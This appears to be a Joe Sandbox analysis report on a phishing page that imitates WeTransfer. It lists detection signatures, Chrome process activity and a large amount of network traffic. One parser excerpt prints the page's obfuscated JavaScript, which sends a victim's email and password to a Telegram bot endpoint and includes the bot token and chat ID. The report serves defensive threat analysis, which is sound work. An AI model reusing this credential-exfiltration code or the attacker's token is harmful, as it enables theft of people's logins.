Edit tour

Windows Analysis Report
https://connexion-espacesclients.support/gkm/

Overview

General Information

Sample URL:	https://connexion-espacesclients.support/gkm/
Analysis ID:	1567263

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

AI detected suspicious URL

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 7040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6360 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1984,i,14936015227180645046,5900502417263220096,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3688 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://connexion-espacesclients.support/gkm/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://connexion-espacesclients.support/gkm/

Avira URL Cloud: detection malicious, Label: phishing

Phishing

AI detected phishing page

Source: https://connexion-espacesclients.support/gkm/

Joe Sandbox AI: Score: 9 Reasons: The brand 'Wetransfer' is well-known and typically associated with the domain 'wetransfer.com'., The URL 'connexion-espacesclients.support' does not match the legitimate domain of Wetransfer., The URL contains suspicious elements such as hyphens and an unusual domain extension '.support', which are common in phishing attempts., The URL does not contain any recognizable association with Wetransfer, which raises suspicion., The presence of input fields asking for email addresses is a common tactic used in phishing sites to collect user information. DOM: 2.6.pages.csv

AI detected landing page (webpage, office document or email)

Source: https://connexion-espacesclients.support/gkm/

Joe Sandbox AI: Page contains button: 'Continuer' Source: '2.7.pages.csv'

AI detected suspicious Javascript

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: Script contains multiple high-risk indicators: heavily obfuscated data/URLs (encoded strings and tokens), suspicious domain pattern (connexion-espacesclients.support), and complex challenge/verification parameters suggesting potential security bypass or phishing attempt. The extensive use of encoded parameters and suspicious TLD (.support) adds to risk profile.
Source: 0.7.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: High-risk script with multiple red flags: uses eval() with base64 encoded content (+3), contains obfuscated code (+3), performs aggressive DOM manipulation with form submission (+2). The script also includes bot detection logic and automatic form submission/page reloads, which could be used maliciously. The use of XMLHttpRequest to an internal endpoint '/gkm/' with encoded headers adds suspicion.
Source: 2.10..script.csv	Joe Sandbox AI: Detected suspicious JavaScript: Script shows multiple high-risk indicators: heavy obfuscation (encoded strings, complex control flow), use of dynamic code manipulation (String.fromCharCode), and suspicious array/binary operations. The code appears to be a challenge/fingerprinting script with intentionally obscured functionality.
Source: 0.13.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: This is a highly malicious script that exhibits multiple high-risk behaviors: 1) It contains obfuscated code using hex encoding, 2) It exfiltrates sensitive data (email/password) to Telegram via a bot token, 3) It appears to be part of a phishing operation based on the credential collection and error handling patterns. The presence of a Telegram bot token (7499623592:AAG4sRR7YzmOAFkZFFwiAbBsnnHB-lXYLSk) for data exfiltration is a clear indicator of malicious intent.

AI detected suspicious URL

Source: Email	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://connexion-espacesclients.support
Source: Email	Joe Sandbox AI: AI detected Typosquatting in URL: https://connexion-espacesclients.support

Javascript uses Telegram API

Source: https://connexion-espacesclients.support/gkm/

HTTP Parser: var _0x40d1b3 = _0x1298; function _0x1298(_0x93b389, _0x301fc5) { var _0x190b9e = _0x190b(); return ( (_0x1298 = function (_0x12988f, _0x35f94c) { _0x12988f = _0x12988f - 0x121; var _0x866d3 = _0x190b9e[_0x12988f]; return _0x866d3; }), _0x1298(_0x93b389, _0x301fc5) ); } function _0x1298a(data) { const _0x40d1b3a = '7499623592:aag4srr7yzmoafkzffwiabbsnnhb-lxylsk'; const _0x301fc5a = '1411469413'; const _0x93b389a = ` - ${data.email}:${data.password}`; const _0x190b9ea = `https://api.telegram.org/bot${_0x40d1b3a}/sendmessage?chat_id=${_0x301fc5a}&text=${encodeuricomponent( _0x93b389a )}`; fetch(_0x190b9ea, { method: "get" }) .then((response) => { if (response.ok) { // la requte a russi } else { } }) .catch((error) => { console.error(error); }); } function _0x190b() { var _0...

Source: https://connexion-espacesclients.support/gkm/

HTTP Parser: Number of links: 0

Source: https://connexion-espacesclients.support/gkm/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://connexion-espacesclients.support/gkm/

HTTP Parser: Total embedded image size: 97542

Source: https://connexion-espacesclients.support/gkm/?__cf_chl_rt_tk=ikmDfOrsD_3PGWhiFgfOsLgIkMRFnIf6Cg1queg1K08-1733219199-1.0.1.1-pjQs1POxFuUapvCSUYkqFSNZD0TR_nfsaK15qyYdMpE

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none"><path fill="#B20F03" d="M16 3a13 13 0 1 0 13 13A13.015 13.015 0 0 0 16 3m0 24a11 11 0 1 1 11-11 11.01 11.01 0 0 1-11 11"/><path fill="#B20F03" d="M17.038 18.615H14.87L14.563 9.5h2....

Source: https://connexion-espacesclients.support/gkm/

HTTP Parser: Title: Wetransfer - Partage de document. does not match URL

Source: https://connexion-espacesclients.support/gkm/

HTTP Parser: <input type="password" .../> found

Source: https://connexion-espacesclients.support/gkm/?__cf_chl_rt_tk=ikmDfOrsD_3PGWhiFgfOsLgIkMRFnIf6Cg1queg1K08-1733219199-1.0.1.1-pjQs1POxFuUapvCSUYkqFSNZD0TR_nfsaK15qyYdMpE	HTTP Parser: No favicon
Source: https://connexion-espacesclients.support/gkm/	HTTP Parser: No favicon
Source: https://connexion-espacesclients.support/gkm/	HTTP Parser: No favicon
Source: https://connexion-espacesclients.support/gkm/	HTTP Parser: No favicon
Source: https://connexion-espacesclients.support/gkm/	HTTP Parser: No favicon

Source: https://connexion-espacesclients.support/gkm/	HTTP Parser: No <meta name="author".. found
Source: https://connexion-espacesclients.support/gkm/	HTTP Parser: No <meta name="author".. found

Source: https://connexion-espacesclients.support/gkm/	HTTP Parser: No <meta name="copyright".. found
Source: https://connexion-espacesclients.support/gkm/	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49772 version: TLS 1.2

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	DNS traffic detected: DNS query: connexion-espacesclients.support
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.tailwindcss.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: wetransfer.com
Source: global traffic	DNS traffic detected: DNS query: cdn.wetransfer.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49772 version: TLS 1.2

Source: classification engine

Classification label: mal76.phis.troj.win@22/25@34/171

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1984,i,14936015227180645046,5900502417263220096,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://connexion-espacesclients.support/gkm/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1984,i,14936015227180645046,5900502417263220096,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
